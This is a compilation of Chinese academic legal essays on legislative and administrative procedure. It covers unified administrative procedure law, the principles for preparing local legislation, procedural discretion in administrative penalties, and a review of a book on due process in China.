而,在国家层面完成统一程序立法,于今天的中国,一方面这是建设现代法治国家、保护公民权利的时代要求,是完成建设有中国特色社会主义法律体系的必要条件;另一方面,三十年的改革既加深了完成此项任务的紧迫性,也成就了完成这项任务各种现实条件。因此,可以说中国在国家层面制定统一的行政程序立法的时机已经完全成熟,统一行政程序立法应当尽早踏上征程! 注释: 参见[韩]金铁容:《韩国行政程序法》,东亚行政法研究会第三届年会暨行政程序法国际研讨会论文。 翁岳生教授于2009年4月应邀到大陆讲学介绍台湾地区实施行政程序法的经验和面临的问题,在其发言中谈到,是否在法典中规定行政法一般原则在台湾地区即使在法典通过后仍然是有争论的问题。 翁岳生教授在谈到台湾地区关于行政法的一般原则规定的争议时认为,现在看来在法典中规定基本原则是一个正确的选择,明确了行政机关的基本准则。 参见《日本公正、透明之行政程序委员会报告》,载应松年主编:《外国行政程序法汇编》,中国法制出版社1999年版,第409页。 只有西班牙行政程序法对公共行政机关相互间关系的原则作了明确规定,其《行政程序法》第4条第1款规定:公共行政机关在开展活动和处理相互间关系时必须做到:1.尊重其他行政机关合法行使其职能;2.在行使自身职能时,权衡相关的总体利益,以及那些具体委托给其他行政机关的利益;3.向其他行政机关提供在行使自身职能时所开展活动的信息;4.在自身范围内,向其他行政机关提供为有效行使其职能所需的积极合作与帮助。 参见应松年教授主持起草的专家建议稿。 参见马怀德教授主持起草的专家建议稿。 参见江必新法官主持起草的《重庆市行政程序暂行条例》(试拟稿)。 德国学者认为,计划行为是指为了以最好的方式实现根据现有条件确定的目标而进行系统准备和理性设计的过程,是为了实现特定的制度设计而协调各种不同的,甚至相互冲突的利益的过程。计划是预先确定的目标及有关必要实现手段的主观设计,是有关安全、简便和迅速地实现预定结果的草案,是计划行为的结果。参见[德]汉斯.J.沃尔夫、奥托.巴霍夫、罗尔夫.施托贝尔:《行政法》(第二卷),高家伟译,商务印书馆2002年版,第180-181页。日本学者室井力先生认为,所谓行政计划是指为谋求行政计划化,规定应达到的目标及其实现的顺序以及为实现目标所表示的必要手段的行政方针行为的总称。参见[日]室井力主编:《日本现代行政法》,吴微译,中国政法大学出版社1995年版,第53页。我国台湾地区“行政程序法”第163条对行政计划所下定义为:本法所指称行政计划,系指行政机关为将来一定期限内达成该目的或实现该构想有关之方法、步骤或措施等所为之设计与规划。 从近年来关于行政规划的相关项目的名称也可以看出,如2005年立项的国家社科基金项目“行政规划法律制度研究”,2006年立项的司法部重点项目“行政规划法律制度研究”。中国共产党十六届五中全会通过的《中共中央关于制定国民经济和社会发展第十一个五年规划的建议》中,延续使用了五十多年的国民经济和社会发展“计划”首次变成规划。对此一字之差的变化,有的学者提出“这一变化是耐人寻味的”。应松年:《政府职能转变与行政规划》,载《郑州大学学报》(哲学社会科学版)2006年第1期。还有的学者认为这一字之差,传递出中国经济社会发展的三大信号:凸显政府更加注重发挥市场对资源配置的基础性作用;政府更加注重对经济社会发展的宏观把握和调控;政府职能转变迈出新步伐。参见宋雅芳:《论行政规划确定程序中的参与机制》,载《郑州大学学报》(哲学社会科学版)2006年第1期。 [11] 迄今,不仅不同学者提出了数种架构方案,就是全国人大法工委行政立法研究组先后拟定的《中华人民共和国行政程序法框架稿》与 《中华人民共和国行政程序法(专家意见稿)》在立法架构上也出现了很大变化。在行政立法研究组数次召开的关于中国行政程序 法立法的国际研讨会与国内研讨会上,与会者都对行政程序法的立法架构展开了激烈的争论。2011年11月23日,在北京运河苑举行的行政立法研究组向全国人大法工委行政法室正式移交《中华人民共和国行政程序法(试拟稿)》会议上,与 会代表再次对这一问题展开了热烈争论。 [12] 分析法国与美国对行政法所下的定义,不难看出两大法系对行政法的认识存在很大不同。在法国,行政法是调整行政活动的国内公法,包括行政活动的组织、行政活动的手段、行政活动的方式,以及行政活动的监督和责任的全部过程在内。参见王名扬:《法国行政法》,中国政法大学出版社1989年版,第12-13页。在美国,行政法是管理政府行政活动的部门法,分为三部分:(1)行政机关所具有的权力;(2)行使这些权力的法定要件;(3)对不法行政行为的补救。参见[美]伯纳德.施瓦茨:《行政法》,徐炳译,群众出版社1986年版,第1页。 [13] 澳门地区的行政程序法基本照搬了葡萄牙的行政程序法典。 [14] 意大利1990年正式出台的《行政程序与公文查阅法》与此草案相比较,内容及立法架构发生了根本变化。 [15] 如应松年教授主持的专家建议稿。 [16] 参见姜明安:《关于中华人民共和国行政程序法试拟稿的说明》,第6-7页。 [17] 参见马怀德教授主持行政程序法课题组研究报告:《行政程序立法研究——《行政程序法》草案建议稿及理由说明书》,2005年3第10页。

立法程序论文第2篇

摘要:地方立法准备阶段坚持党的领导原则主要体现在两个方面。坚持法制统一原则要注意从纵向和横向两个角度来解决问题。坚持服务大局原则要着眼于构建和谐社会的大局。坚持立法民主原则有其客观的判断标准。条件成熟原则主要包含3个方面的含义。突出重点原则就是要使制定出的法律、法规能够更好地为经济建设中心服务。坚持地方特色原则的主要内容是要尊重地方客观实际。坚持立、改、废并重原则是维护法制统一、充分发挥法律作为社会关系调整器作用的要求。

关键词:地方立法;立项与起草;基本原则

地方立法准备阶段,一般是指地方立法在提出法案前所进行的有关立法活动阶段。其内容主要有两项:一是地方性法规的立项(包括立法规划与计划),二是地方性法规草案的起草。立项与起草的最终结果将直接为进入正式阶段的立法运作服务,其目的是为了提高立法质量和立法效率。“立法的准备程序,虽然处于正式立法程序之外,但是在我国往往决定了众多立法的命运,也就是说在一项立法正式提交审议之前其命运就已基本被定夺。正因为如此,立法准备程序在我国逐渐获得了相对独立的价值和地位”[1]。为此,必须坚持如下基本原则。

一、坚持党的领导的原则

党的领导是地方立法准备阶段应坚持的首要原则。要把党对国家事务的主张变成体现国家意志、人民意志的法律和决定,必须从立法准备阶段就要予以重视,以实现党通过国家机关依照宪法和法律来管理国家。坚持党在地方立法准备阶段的领导地位,应特别注意两个方面的问题。

第一,要区别党在立法正式程序与立法准备程序中的不同作用。在立法正式阶段,党要在宪法、法律范围内活动,严格依照宪法、立法法等有关规定来进行立法工作;但是在立法准备阶段,特别是在地方立法规划(计划)的编制阶段,要充分发挥党总揽全局、协调各方的作用,围绕地方党委的中心工作进行,把党的路线、方针、政策贯彻到地方立法之中。具体来说,一方面,地方党委根据一定时期的中心工作和预期工作目标,积极地向人大提出立法建议;另一方面,人大在编制地方立法规划(计划)时要紧紧围绕地方党委的中心工作进行。同时,起草地方性法规时应积极反映地方党委的中心工作精神,为地方党委顺利开展中心工作提供法制保障打下基础,为把党的意志上升为国家意志提供机制上的保证。

第二,要区别党的集体决定与党的个别领导人的行为。《中共中央关于加强党的执政能力建设的决定》提出:“加强党对立法工作的领导,善于使党的主张通过法定程序成为国家意志,从制度上、法律上保证党的路线方针政策的贯彻实施,使这种制度和法律不因领导人的改变而改变,不因领导人看法和注意力的改变而改变。”该决定为在地方立法准备阶段处理集体决定与党的个别领导人的行为提供了新的政策依据。党总揽全局、协调各方必须遵循党的集体领导和依程序办事,维护自己参与程序的严肃性和权威性,不能任意改变程序的结果。通过正当程序做出的决定才是党的集体决定,而在程序之外的决定就是个人的意见。

二、坚持法制统一的原则

中央和地方之间的矛盾在法制建设领域主要表现在国家有没有统一的法制。关于法制不统一的危害,列宁曾经指出:“如果我们不坚决实行这个确立全联邦统一法制所必需的最起码的条件,那就根本谈不上什么维护和创立文明了”[2],因此“法制只能有一个。否则既无文明,又无政治常识”[3]。建国之初,在总结立法权过于分散、法制相互矛盾的教训和经验基础上,1954年宪法规定只有全国人民代表大会拥有国家立法权。在宪法实际运作过程中,我国又强调在不违背中央方针的条件下,按照实际情况和工作需要,地方也可以搞章程、条例、办法,“我们要统一,也要特殊……这种特殊不是高岗的那种特殊,而是为了整体利益,为了加强全国统一所必要的特殊”[4]。

在立法活动中,法制统一原则要求以宪法为根本的活动准则,具体内容就是坚持立法思想的统一,找准法律法规中的矛盾焦点并作出合理、科学的界定,杜绝带有明显保护主义色彩的部门、行业和地方的“办法”、“措施”等;就是坚持立法权力的统一,重视对立法权的配置及其立法权的正确行使,防止越权立法、越位设置法律责任;就是坚持法律效力的统一,使制定出来的法律法规对建立和谐统一的社会主义法律体系起重要作用,禁止损害社会主义法制权威和尊严行为的存在。在经过调查研究、分析比较和科学论证,进行立法预测的基础上,立法立项不仅要对每一具体立法项目的可行性进行认真研究后才能作出决定,而且还要从全局上对整个立法的发展趋势和前景作出正确的判断,在总体上做好统筹兼顾,确保社会主义法律体系内部的和谐一致。鉴于立法准备程序在我国的特殊性,从纵向上需要解决好上位法与下位法之间的衔接配套问题,避免产生下位法照抄照搬上位法、下位法抵触上位法等弊端;从横向上讲,需要解决好同一位阶上的地方性法规相互之间的协调一致的问题,避免产生相互交叉和相互冲突。

三、坚持服务大局的原则

由于立法涉及各方面的利益和实际需要,因此在立法准备阶段就要顾全大局,做好统筹兼顾、合理安排。但不同部门和不同人群基于自身利益的考虑,在立项与起草的有关问题上常常看法不同,甚至会发生激烈的争议。在立项问题上,对列入立法规划(计划)的不同项目,各有不同的主张、建议和依据;有时即使对同一个立法项目是否列入立法规划(计划)也有不同的主张、建议和依据;有时对都同意列入立法规划(计划)的立法项目,是把它作为审议项目、预备项目还是调研项目也有不同的看法。在起草问题上,人们的争论会更多、会更激烈,“立法中涉及权力的事,当仁不让;涉及权利的事,决不相让;涉及银子的事(指收费等),死活不让;涉及尽义务、负责任的事,安全礼让”[5]。说到底,他们欠缺的是大局意识。大局意识能正确体现国家意志和人民意愿,有利于维护和发展国家和人民的全局利益、长远利益、根本利益。只有这些利益得到保障,个人利益、集体利益、局部利益的保护和发展才有基础和保障。

那么,当前的大局是什么?地方立法准备阶段如何顾全大局?在总结我国社会主义建设的实践经验和借鉴别国经验的的基础上,根据全面建设小康社会的新要求和我国社会出现的新趋势新特点,我党在强调继续坚持以经济建设为中心,不断解放和发展生产力基础上,又提出了构建包括民主法治、公平正义、诚信友爱、充满活力、安定有序、人与自然和谐相处等内容在内的社会主义和谐社会。这就是当前的大局,即落实科学发展观,在不断解放和发展生产力的同时,构建社会主义和谐社会。在地方立法准备阶段,坚持服务大局原则,就是把立项与起草的着力点放在围绕以经济建设为中心上,不断促进经济发展和社会进步,充分发挥其帮助构建完备法律体系的功能,促使做好立法工作,使立法臻于科学化,为构建社会主义和谐社会提供法制服务。

四、坚持立法民主的原则

国家终极权力行使“最终的结果总是从许多单个的意志的相互冲突中产生出来的,而其中每一个意志,又是由于许多特殊的生活条件,才成为它所成为的那样。这样就有无数互相交错的力量,有无数个力的平行四边形,由此就产生出一个合力,即历史结果,而这个结果又可以看作一个作为整体的、不自觉地和不自主地起着作用的力量的产物”[6]。在法制建设领域,这个产物就体现为整体意志的法律法规。衡量立法质量的高低,不仅要看立法技术水平的高低,还要看立法所体现的公平、正义的价值取向,更重要的是看立法是否为民,是否真正体现人民意志和最大多数人的最大利益的保护。经过立法民主环节,我们才有可能制定出高质量的法律法规。

人民行使包括立法权在内的国家权力的机关是全国人民代表大会和地方各级人民代表大会,这是人民实现人民当家做主地位的基本路径。立法规划(计划)是各级人大关于立法的设想和部署,同样要体现人民的意志和对人民利益的保护,即努力做到立法项目是否能够最大限度地体现民主的意志和愿望,是否能够促进社会公平、公开、公正价值的实现,是否体现本地方绝大多数公民的整体利益和长远利益,是否有对特定集团、组织、个人或其他主体利益的偏袒。在立法准备阶段,坚持民主原则,主要是坚持程序方面的民主性,既包括编制立法规划(计划)的民主性,又包括起草法规草案的民主性。这就要求按照法定的立法程序,通过代议制民主、直接民主、协商民主等形式,由人大专门机关行使立法权。其中,发挥民众和专家等的直接参与作用,特别是使用具有协商、沟通和说服功能的听证机制和健全对地方立法公共讨论的空间等现代民主程序,更是立法民主的生动体现。

五、坚持条件成熟的原则

随着全面建设小康社会事业的蓬勃发展,立法建议项目很多,并且这些立法建议都有一定道理或依据。为此,在地方立法准备阶段,就要在需要与可能之间进行分析研究基础上,对立法建议项目作出妥善的规划和安排,按照立法条件的成熟状况列为审议、预备或调研项目,或者决定不予立项,有步骤、有分别地展开起草工作,使立法能够很好地满足全面建设小康社会的客观需要。否则,就会制约该项事业的健康发展。在看到社会各方面需要立法的同时,还要看到满足这种需要的可能性,要把需要和可能两者之间相互联系起来进行研究解决。如果只强调对立法的需要,而不考虑可能,结果立法规划(计划)安排的立法项目很多,而立法实际工作所需要的人力、物力和时间都不允许,那么其结果必然是一些立法项目往往难以完成。

这里,地方立法准备阶段所说的条件成熟状况主要包含以下几层意思:第一,该立法建议是否能很好地满足本地方小康社会建设事业发展的客观需要,是否有利于构建社会主义和谐社会。如果不能满足或者不能很好地满足立法需求,制定出来的地方性法规可能会阻碍地方建设的发展。第二,本地的人力、物力和时间等条件是否允许把该立法建议变为地方性法规。如果条件不允许,即使如期出台了该地方性法规,但在执行中也会存在诸多问题。这样不仅会给实际工作带来损失,而且可能需要耗费大量的时间和精力去处理由此引发的一些不必要矛盾,同时还可能会挫伤包括立法建议主体在内的有关方面的立法积极性。第三,现有的政府财力支撑、科技水平和现行管理体制是否能够满足该地方性法规的实施需求。如果需要制定的地方性法规在实施中所需要的这些具体条件尚不具备,尽管社会生活中需要但实际上难以实施,也属于立法条件不成熟的表现。

六、坚持突出重点的原则

建设富强、民主、文明的现代化国家是我国改革开放以来的最大实际。地方立法准备阶段的重要功能之一就是要使立法工作能更加及时有效地为以经济建设为中心的社会主义现代化建设服务。由于各地政治、经济、文化发展很快,需要制定的立法项目很多,所以对各个立法项目在人力安排和时间进度要求上,不可能是不分主次、不分轻重的齐头并进,需要分清主次和轻重缓急,突出重点、保证重点,否则工作上没有合理安排就不可能真正形成力量。

所谓突出重点,就是要在一定的条件下相对地集中人力和时间,从现阶段的重大实际情况和现实情况出发,按照标准和要求完成某一或某些重点立法项目,使制定出的法律、法规更好地为经济建设中心服务,加快改革的进程,更好地发挥立法为构建社会主义和谐社会而服务的社会效果,同时有效带动整个立法工作水平不断地上新台阶。就立法的“快”和“好”而言,在改革开放之初,“快”是重点。邓小平曾经针对当时的情况指出,“现在立法的工作量很大,人力很不够,因此法律条文开始可以粗一点,逐步完善。有的法规地方可以先试搞,然后经过总结提高,制定全国通行的法律。修改补充法律,成熟一条就修改一条,不要等‘成套设备’。总之,有比没有好,快搞比慢搞好”[7]。30年后的今天,加快立法步伐,使需要法来调整的事项尽可能得到法的调整仍然是一项重要任务,但是与“快”速立法相比,要求立“好”法,使所立的法尽可能完美无缺、具有科学性,已经成为一项更为重要的任务,从立法准备阶段把好立法质量关已成为突出重点的重要要求。

七、坚持地方特色的原则

地方立法要“根据本地实际情况和客观需要”进行。这里所讲的实际情况和客观需要,包括人与自然的关系、市场经济发展、政治民主进程、法治进程、人们行为方式、社会日常生活等各个方面的客观实际。这种客观实际的性质是动态的,既包括现实的客观实际,也包括历史的客观实际;既包括中国的客观实际,也包括外国的客观实际;既包括已有经验结论的客观实际,也包括有待探索的客观实际;既包括政治、经济、文化生活的人文客观实际,也包括地理、资源、环境的自然客观实际;既包括立法需求的客观实际,也包括立法供给能力和供给规律的客观实际。地方立法必须立足本地客观实际,结合本地生产方式、地理环境、人口状况等物质性区情因素,思想道德、文化、科学技术等精神性区情因素,国家制度、社会变革等社会性区情因素,使立法真正能够反映客观规律、符合经济社会发展的客观实际需要,使立法真正是“由必然性产生”,而非“由任性的偶然性产生”(马克思语)。

地方立法准备阶段要坚持的地方特色就是本地的这种客观实际。地方特色就是要在不超越立法权限,不违背宪法、法律和行政法规原则精神的前提下,结合本地具体情况和实际需要提出的立法项目能够反映和体现本地区的政治、经济、文化和社会发展的特殊性。其具体要求是:①与中央立法相比,地方立法是由地方立法机关制定的涉及地方事务的立法,具有较强的针对性和可操作性,对中央立法具有拾遗补缺的作用,效力只适用于本地区所辖行政区域的空间范围;②与其他地方相比,所提的立项项目能够把握本地区的特殊立法需求、特殊发展规律,需要制定的法规能够协调地方独特的社会关系,解决地方特殊的政治、经济、社会问题;能够结合本地实际,充分利用国家赋予的各项立法权力,创制出其他地区没有创制过的新规则,开拓地方立法发展的独特空间;③在立法技术规范上,不盲目追求“成套设备”,搞章、节、条、款、目俱全,努力做到体例适当、繁简适度、科学适宜、明确适用。

八、坚持立改废并重的原则

随着改革的深化和经济的发展,社会主义市场经济体制的逐步建立和完善,不可避免地要出现现行法规需要修改和废止的两种情况。

第一种情况,现行法规需要修改。这类情形主要是,现行法规中某些条款与新颁布的上位法不一致甚至有抵触;现行法规的某些条款不符合社会主义市场经济体制要求或者与现行改革政策不一致;现行法规中某些规定已经滞后于经济和社会发展,不能适应行政管理实际需要;现行法规中的部分法规之间存在不一致、不适应、不协调的问题。但是这些法规大部分内容还在客观上起着调整社会关系的作用,还没有必要用完全新的法规来取而代之,只要予以及时修改即可使其更好地发挥作用。

第二种情况,现行法规需要废止。现行法规的基本原则和主要内容同新制定或者修订后的直接上位法相抵触;现行法规的基本内容已被新制定或者修订后的直接上位法所涵盖;现行法规已被新制定的同类地方性法规所取代;现行法规的调整对象或者主要规范事项已经不复存在;现行法规的基本内容已经完全不适应经济和社会发展的新情况等,该现行法规已经在事实上没有存在的必要甚至还可能引起社会秩序的紊乱。属于此类情况的应及时予以废除。

鉴于上述两种情况,在立法准备阶段要坚持立、改、废并重原则,地方立法机关在确定需要新制定法规项目、起草法规的同时,要把现行法规的修改、废止摆上同等重要位置,既要根据社会发展的实际情况创制新的法规,又要结合社会发展的实际把部分不适应或者完全不适应的现行法规列入清理范围,相应地列为修改或者废止项目,实现地方立法指导思想从过分重视创制到创制、修改、废止统筹并重的转变,改变创制地方性法规才是政绩的片面性认识。

【注释】

[1]孙育玮.完善地方立法立项与起草机制研究[M].北京:法律出版社,2007

[2]列宁.列宁全集(第43卷)[M].北京:人民出版社,1987.

[3]列宁.《论“双重”领导和法制》一信提纲[A].列宁全集(第43卷)[M].北京:人民出版社,1987.

[4].论十大关系[A].选集(第5卷)[M].北京:人民出版社,1977.

[5]李培传.论立法[M].北京:中国法制出版社,2004.

立法程序论文第3篇

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【摘要】程序性裁量在行政程序中的存在及其效应一般来讲,一个完整的程序都要经历启动程序、选择适用程序、选择行为手段、作出决定、送达等环节。在每一个环节中,法律、行政法规赋予行政主体不同的职权。我们将以此为出发点和考察对象,去探讨论证程序性裁量的存在及其产生的效应。

【关键词】程序性裁量 在行政程序中的存在及其效应 一个完整的程序都要经历启动程序 选择适用程序 选择行为手段

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【正文】

二、程序性裁量在行政程序中的存在及其效应一般来讲,一个完整的程序都要经历启动程序、选择适用程序、选择行为手段、作出决定、送达等环节。在每一个环节中,法律、行政法规赋予行政主体不同的职权。我们将以此为出发点和考察对象,去探讨论证程序性裁量的存在及其产生的效应。(一)是否启动程序的裁量行政执法程序的启动通常有两种方式,一是依职权启动,一是依相对人申请启动。依职权启动程序主要存在于损益性行政行为(也称负担性行政行为)当中,如行政强制、行政处罚、行政收费等。依申请启动程序主要存在于授益行政行为中,如行政许可等。在此,我们仅以行政处罚程序的启动为考察对象。《工商行政管理机关行政处罚程序暂行规定》第十二条规定,工商行政机关依据职权或者根据当事人的申诉、控告等途径发现、查处违法行为。第十三条规定,工商行政管理机关查处违法行为,应当立案;适用简易程序的除外。根据上述规定我们可以看出,达到什么标准才能启动程序,法律、法规、规章都没有明确规定。行政处罚程序的启动,通常要建立在对案件线索判断的基础上,如日常检查中当事人的行为是否有违法的嫌疑,当事人的举报是否切实可靠等等。在此,行政执法人员拥有裁量空间。(二)选择适用程序的裁量我们讨论的程序选择主要是针对普通程序和简易程序的选择适用。在工商行政处罚领域,法律、行政法规从立法的角度规定了适用简易程序的标准,除此之外的则适用普通程序。根据《工商行政管理机关行政处罚程序暂行规定》,适用简易程序必须符合的条件是:1.违法事实确凿;2.有法定依据;3.对公民处以50 元以下、对法人或者其他组织处以1000 元以下罚款或者警告的行政处罚。任何行政处罚决定的作出,都必须经历以下几个环节:启动程序现场检查(初步调查)选择适用程序(是否需要立案调查)调查取证作出处罚决定。通过这个流程图我们可以得出以下结论:首先,工商执法人员在选择适用程序前,先要判断“违法事实是否确凿、情节是否简单”。由于案件还没有经过调查取证环节,因此对案件情节的判断很大程度上取决于执法人员的主观判断;其次,程序的选择先于行政处罚决定做出,案件是否最终会对公民处以50 元以下、对法人或者其他组织处以1000 元以下罚款的,在行政处罚决定作出前只能依赖执法人员的经验判断。滥用该程序性裁量将导致作出的处罚决定与其适用的程序相矛盾。笔者在调研中翻阅了大量的案卷,发现滥用该程序性裁量的情况在执法中普遍存在。在笔者搜集到的当场处罚决定书中,有些处罚决定远远超出了法律、法规的范围,最多的一例罚款额达三万元。这些现象的存在不能不引起我们的思考。普通程序设计的首要目的在于保护相对人的合法权益不受国家行政权力的非法侵害。法律规定行政机关在作出对相对人不利的决定前,不仅要有事实依据和法定依据,还应当给予相对人陈述、申辩的权利,为此,立法专门规定了听证制度、回避制度、公开制度等等。程序性裁量的滥用直接剥夺了当事人的相关程序性权利。(三)选择行为手段、方式的裁量对行为手段、方式的选择,是行政执法中最典型的程序性裁量之一。

【文章来源】/article/43/6390.Html

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立法程序论文第4篇

[关键词]正当程序 中国语境法治

一、正当程序的解读

在西方思想史上,自从亚里士多德以来,有关正义的学说可谓学派纷立,但这些观念基本上属于“实质正义”或“实体正义”的范畴,因为它们重视的是各种活动结果的正当性,而不是活动过程的正当性。正当程序作为一种法治观念产生于13世纪英国《自由大宪章》,是西方古代“法的统治”观念与自然法学说的产物。 “正义不仅应得到实现,而且要以人们看得见的方式加以实现”。这种“看得见的正义”,其实是英美人的一种法律传统,最早体现于英国的1215年《自由大宪章》,正式提出于1354年英王爱德华三世第28号法令,后又在著名的英国1689年的《权利法案》中得以兴盛。美国前联邦大法官威廉道格拉斯评价道,“权利法案的大多数规定都是程序性条款。这一事实决不是无意义的。正当程序决定了法治与恣意的人治之间的基本区别”。[1]

20世纪60年代以来,一些学者从关注人类自身的前途和命运出发,开始系统地研究过程或程序本身的正当性问题。1971年,美国学者约翰·罗尔斯出版了著名的《正义论》一书,他认为只要正当的程序得到人们恰当的遵守和实际的执行,由它所产生的结果就应被视为是正确和正当的,无论它们可能会是什么样的结果。正如孙笑侠教授所讲“宁要有正当程序的恶法”,法律程序要比实体规则重要,恶的程序法比恶的实体法更有害。[2]一些英美学者从揭示传统上的“自然正义”和“正当法律程序”的理念的思想基础出发,认为一项法律程序或者法律实施过程是否具有正当性和合理性,不是看它能否有助于产生正确的结果,而是看它能否保护一些独立的内在价值。联邦最高法院大法官杰克逊认为,“程序的公正和合理是自由的内在本质,如果可能的话,人们宁愿选择通过公正的程序实施一项暴力的实体法,也不愿选择通过不公正的程序实施一项较为宽容的实体法”。陈瑞华教授将这种理论称为“程序本位主义”。关于正当程序的理论,以有很多学者从不同的方面加以归纳和总结,孙洪坤老师的《程序与法治》中全方位解读正当程序的理论,从正当程序的渊源,包括思想渊源、价值渊源、司法渊源、宪政渊源,社会基础,法治背景,人文精神,文化底蕴等方面解释正当程序为什么是异域之花。

正当程序的规范与理念在美国已经深入人心,而在我国,即使是法治建设已历数年的今天,“正当程序”仍然徘徊于法治门外,行而无所趋。“依法治国,建设社会主义法治国家”基本方略的提出,法治的基本精神逐渐深入人心。依法治国已经成为中国21世纪政治生活和社会生活的重要目标,中国已经迈向一个法治的新世纪。正当程序的构建,在我国社会主义法治文明的建设过程中,应是关键的一环。“现代法治社会的一个重要的标志就在于赋予每一个公民保护自己基本权利的资格和能力。”[3]孙洪坤老师的《程序与法治》这部著作从我国社会结构转型期这一背景出发,对正当程序在实现依法治国进程中的意义及建构之路进行深入的研究,把程序与法治的重大理论观点同建设我国法治社会具有重要现实意义的问题联系起来,提出一系列新的学术思想观点。

本书分为上、中、下三篇,每篇各自独立,相映成趣。上篇程序正义的法治之理,从法哲学、法社会学等多学科的角度,论证了正当程序这一舶来品应该而且必须在中国建设法治社会的过程中得以贯彻和体现。本篇还结合中国社会的现实状况,深入分析了目前中国程序建设中存在的问题,并且提出了如何使程序正义本土化实践的具体举措,该篇独到的视角,新颖的见解,使读者眼前一亮,并为之振奋。中篇正当程序的法治之神,讲述了从宪政的高度审视正当程序并结合实际分析在我国如何进行正当程序的宪政构造,以及正当程序和大众心理的碰撞和冲突;从人文精神、文化底蕴的角度溯本求源实现正当程序在中国的应然要求;从人权保障、政治文明、诉讼效率分析中国如何走向程序文明。下篇刑事程序的法治之维;以刑事程序为视角分析正当程序和最低限度的公正,着重强调简易程序的正当化,提出建立刑诉的正当程序原则,以期推动我国刑事程序法治建设,从根本上推进和谐社会的建设步伐。

二、中国语境下的正当程序

中国的状况是正当程序长期以来的缺失----历史上的中国是一个典型的德治国家,法治传统先天不足,强调存天理,灭人欲,强调社会秩序的和谐,避免纠纷和诉讼,让老百姓“疑法”“畏法”进而“厌讼”。中国的传统法律文化是以儒家思想为主导的,推崇仁治,崇尚礼教、奉行中庸之道,主张权力本位,尚“人治”而轻“法治”,其主要特征追求惩恶扬善,维护等级特权,强调命令服从,体现在法律上则是侧重定名止纷的实体合法,追求“无讼”的理想境界。费孝通提出社会学上关于社会性质分类的理论,一个是礼俗社会,一个是法理社会。传统中国乡土性的“熟人社会”就是礼俗社会,“在乡土社会中法律是无从发生的”。[4]重实体,轻程序的倾向,在中国传统法律观念中根深地固,在中国人的传统的法律思维中,一直缺乏程序的意象。即使是在今天,我们努力实践着依法治国,追求着现代的、民主的、文明的法治,程序虚无主义的影响依然相当严重。人们在对法的认知和遵行过程中仍然自觉不自觉地淡化甚至忽略程序。[5]我们的文化中并不缺少法(制)治的资源,只是缺少分析这些资源的“先进”方法和现代视野。[6]将法律作为一种文化来研究,也是一种语境的回归。

传统纠问式诉讼模式不以保护人的基本权利为价值目标,而是以确认人的职责和义务为本位,只要能够消除危害皇权和不稳定的社会因素,采取任何手段都是正当的合法的,因此程序法沦为实体法的奴婢,正当程序更无从谈起。当我们考察中国古代文化时,发现权利观念的阙如,私权意识的空白导致了观念上对程序的漠视。程序工具主义居于程序价值理念的主导地位,由于历史和现实的原因,在当下中国语境中,我国的刑事程序立法往往是以控制犯罪作为导向的,特别是“严打”时期现实社会价值取向对犯罪控制的强调。“书本上的法”要变为“行动上的法”往往步履艰难。[7]中国语境下的“程序正义”是我国在迈向法治社会进程中传统文化与制度的缺陷的现实表现,也是我国法治现代化的一种必然产物。它需要经过现代与传统,现实与历史,本土法律文化与外来法律文化的冲突与磨合,还要结合中国社会经济,政治,文化的发展不断的融合与整合,而最终以新的姿态展现在国人面前。[8]程序正义是与一个国家的哲学思想紧密相连的,必须与一个国家的民族相融合,才会发挥它的作用。中国传统意识为讨论中国的法律问题提供了语境,讲述中国法律应将其与生存它的文化背景相联系。我国现在正处于社会转型时期,究竟适用程序本土化,还是移植舶来品。法治是“人治”的对立物,与专制格格不入,“法治”则具有现代“文明”的属性。法治是当代中国社会,尤其是法学界一个众所关注的热门话题。中国的法治路径究竟要采用实体法治还是程序法治,学术界并没有形成共识,有的学者认为,固然强调程序的独立价值可以弥补我国传统“重实体、轻程序”的不足,但以程序法治为我国法治的发展路径,则值得商榷。当下的中国不宜走程序法治的道路,而应采用实体法治为主,兼顾程序法治的模式。这种模式的发展路径是一种在传统中超越的渐进式法治模式,符合社会发展的需求,不会引起秩序重构中的震荡,成本低、效率高、阻力小、社会可接受性强,有利于我国法治的良性发展和法治目标的最终实现。而孙洪坤认为只有确立以人为中心,以权利为本位的思想,以人权为终极目标的各种程序性制度才能建立起来,法治社会才能一步步形成。程序价值之所在乃是社会发展之必需,特别是当代中国正处于建设社会主义法治社会这个关键的历史时期,对于法治文明的实现具有突出作用的程序必然要率先走向文明。 目前,中国社会发生了巨大而深刻的变化,从社会关系看,是从各种以身份为特征的依赖型关系向以个人独立自由为基础的契约型社会关系转变;从价值观念看,是从中国传统的“权力本位”向“权利本位”转变,这正是中国引入程序正义的一个大的社会背景。程序正义对中国法治的最大意义不在于取代我们原有的那一套“程序工具主义”的东西,而在于它对中国法治进程循序渐进的影响,其最终目的也非是取代“程序工具主义”,比较完美的结果应该是二者的有机结合。正当程序对中国法制的意义应当有一个软的切入点。[9]孙洪坤在本书中现实语境下对程序正义的多维度批判中讲到在我国要破除程序虚无主义,矫正程序工具主义,摒弃程序形式主义,特别强调要强化程序理性主义,并论述其途径是:(1)与“人治”决裂,逐步清除民众头脑中积存已久的“官本位”思想。(2)改变传统的教育模式,培养民众的理性精神。(3)强化程序理性意识,要在尽可能广泛的社会范围内增强程序理性意识,而不是让普通民众仅充当旁观者的角色。[10]

三、中国构建正当程序的意义

“对于一切事物,尤其是最艰难的事物,人们不应期望播种与收获同时进行,为了使它们逐渐成熟,必须有一个培育的过程。”(培根)[11]本书基于正当程序的理念而展开,着眼于正当程序的本土化,力图从中国现实状况出发,发掘正当程序的理论在中国语境下对应的实际问题,在社会法治进程中,构建正当程序之路。当前中国首要的问题是成熟理论,我们应在正确分析和评估正当程序在当前司法实践与大众法律观念中的价值和地位的基础上构建“中国的正当程序”。[12]理论的成熟应以中国的法律文化背景为依托,切不可脱离中国实际,不可一蹴而就。我们应对传统文化保持一种应有的尊重。促进程序正义在中国的承继和实现,努力做到加快市民社会和民主政治的建设,改造传统司法价值的认定,转变程序价值的观念,并不断推进我国的司法改革。程序正义作为一个舶来品,它的内发性就在某种程度上决定了其本土化的实践是一项复杂的系统工程。它不仅需要对传统的法律文化进行时代性的改造和扬弃,还要对现实中的诸多现象进行反思和总结,借以得出理性而具有可实践性的结论。真正的程序正义,应当努力实现在促进各方面当事人之间诉讼能力平衡之中,从实质上保障每位公民充分参与诉讼和得到正当法律程序保护的权利。

参考文献

[1]季卫东:《法律程序的意义》,载于《中国社会科学》总第79期;

[2]孙笑侠:《程序的法理》商务印书馆2005年P43页。

[3]毛国辉:《论法治社会与现代程序法理念的重塑》,载《政治与法律》1998年第3期,第21页)

